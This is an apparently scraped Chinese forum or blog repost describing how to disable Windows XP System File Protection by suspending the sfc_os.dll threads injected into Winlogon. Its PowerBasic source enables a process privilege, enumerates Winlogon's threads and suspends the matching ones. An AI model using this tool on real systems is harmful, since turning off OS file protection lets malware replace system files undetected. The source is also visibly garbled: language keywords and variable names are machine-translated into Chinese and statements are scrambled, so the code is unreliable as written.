绕过系统文件保护的另一种方法

来源:互联网 发布:上古世纪战魔捏脸数据 编辑:程序博客网 时间:2024/06/05 10:54

起到系统文件保护作用的是sfc_os.dll这个文件

他被注入到了Winlogon中

我的思路就是在Winlogon中的进程找到这个DLL的线程然后挂起掉自然就失效了

以下是Powerbasic写的源代码XPSP3通过测试

#编译的EXE 
#暗淡
#INCLUDE“Win32Api.inc” 
#包括“TlHelp32.inc的”

        
        只要长UniqueThread 完型型CLIENT_ID UniqueProcess AS


    的AS龙
    TebBaseAddress只要
    ClientID的,    只要    BasePriority CLIENT_ID 
    为LONG AffinityMask 
优先的

端型THREAD_BASIC_INFORMATION ExitStatus

声明的功能GetModuleFileNameEx的LIB“PSAPI.DLL”的别名_的
“GetModuleFileNameExA”(_ 
BYVAL hProcess, 
_ DWORD BYVAL HMODULE,为dword , 
_ 的ASCIIZ lpFileName的对象,
0的DWORD n大小),只要
申报的功能GetMappedFileName的LIB“PSAPI.DLL”的别名“GetMappedFileNameA”(_ 
        BYVAL hProcess为dword,
        BYVAL LPV为dword, 
        _ 的ASCIIZ lpFileName的对象,
        _ 0的DWORD n大小
)为dword 
函数RtlAdjustPrivilege的LIB _ 
            “NTDLL.DLL”别名“RtlAdjustPrivilege”(只要BYVAL特权, _ 
            BYVAL启用只要,只要客户BYVAL,_ 
            WasEnabled了如龙)只要
申报功能ZwQueryInformationThread的LIB“NTDLL.DLL的”别名“ZwQueryInformationThread”(ThreadHandle BYVAL AS LONG,BYVAL _ 
                只要ThreadInformationClass,BYVAL ThreadInformation只要BYVAL ThreadInformationLength, AS长期,BYVAL ReturnLength只要DWORD)的
函数NtSuspendThread _ 
               的LIB“NTDLL.DLL”别名“NtSuspendThread的”(0龙ThreadHandle,
                                为ByRef PreviousSuspendCount为LONG)的AS,长期
函数NtResumeThread的_ 
               的LIB“NTDLL.DLL”别名“ NtResumeThread“(0龙ThreadHandle,
                                为LONG LONG为ByRef PreviousSuspendCount)
%ThreadBasicInformation = 0 
%ThreadQuerySetWin32StartAddress = 9的
功能PBMAIN()只要
    当地hSnapshot的AS DWORD,LRESULT为dword,TE32,原样THREADENTRY32,PE32为PROCESSENTRY32的

    RtlAdjustPrivilege(​​20,1,0,0)

    hSnapshot = CreateToolHelp32SnapShot(%TH32CS_SNAPPROCESS BYVAL 0)
    PE32.dwSize = LEN(PE32)
    LRESULT = Process32First(hSnapshot,PE32)
    IF hSnapshot <>%INVALID_HANDLE_VALUE,那么
        LRESULT <> 0 
            如果InStr(LCASE $(PE32.szExeFile),LCASE $(“Winlogon.exe中”))> 0,THEN 
                hSnapshot = CreateToolHelp32SnapShot(%TH32CS_SNAPTHREAD或%TH32CS_SNAPMODULE的,PE32.th32ProcessID BYVAL)
                    hSnapshot <> INVALID_HANDLE_VALUE THEN 
                    TE32.dwSize = SIZEOF(TE32)
                    LRESULT = Thread32First(hSnapshot,TE32)
                    而ISTRUE LRESULT 
                        如果TE32.th32OwnerProcessID = PE32.th32ProcessID THEN 
                            如果InStr(LCASE $((TE32.th32ThreadID)GetImageNameByThread),LCASE $(“sfc_os.dll”))> 0, 
                                然后作为长期本地hThread 
                                hThread = OpenThread(THREAD_SUSPEND_RESUME%, %的假,TE32.th32ThreadID)
                                NtSuspendThread(hThread,0)
                            结束IF                         LRESULT = Thread32Next(hSnapshot,TE32)                    WEND                     CloseHandle hSnapshot                 完            如果end IF             LRESULT = Process32Next(hSnapshot,PE32)        WEND         CloseHandle hSnapshot     完如果 end 功能










的功能GetImageNameByThread(BYVAL工业贸易署为LONG)字符串
    局部脑外伤作为THREAD_BASIC_INFORMATION 
    本地状态,只要
    当地hThread 
    本地hProcess 长只要
    当地StartAddr作为长期
    局部模组名称AS的ASCIIZ *%MAX_PATH个
    本地ImageName的ASCIIZ *%MAX_PATH个

    hThread = OpenThread 
    STATUS = ZwQueryInformationThread(hThread VARPTR(StartAddr)的,LEN(StartAddr),ThreadQuerySetWin32StartAddress%;%空)(的的BYVAL%THREAD_QUERY_INFORMATION,BYVAL%的假,BYVAL工贸署)
    STATUS = ZwQueryInformationThread(hThread,的%ThreadBasicInformation,VARPTR(脑外伤)大小(TBI)的,NULL)
    hProcess =调用OpenProcess(%或%PROCESS_VM_READ PROCESS_QUERY_INFORMATION,虚假%,TBI.ClientId.UniqueProcess)

    GetMappedFileName(hProcess,BYVAL StartAddr,ImageName sizeof(ImageName)的)'可执行代码所在模块
    ImageName = TRIM的$(ImageName)
    如果ImageName =“”或ImageName =“?” 然后ImageName =“NULL”的
    CloseHandle(hThread)
    CloseHandle(hProcess)
    函数=的ImageName 
完功能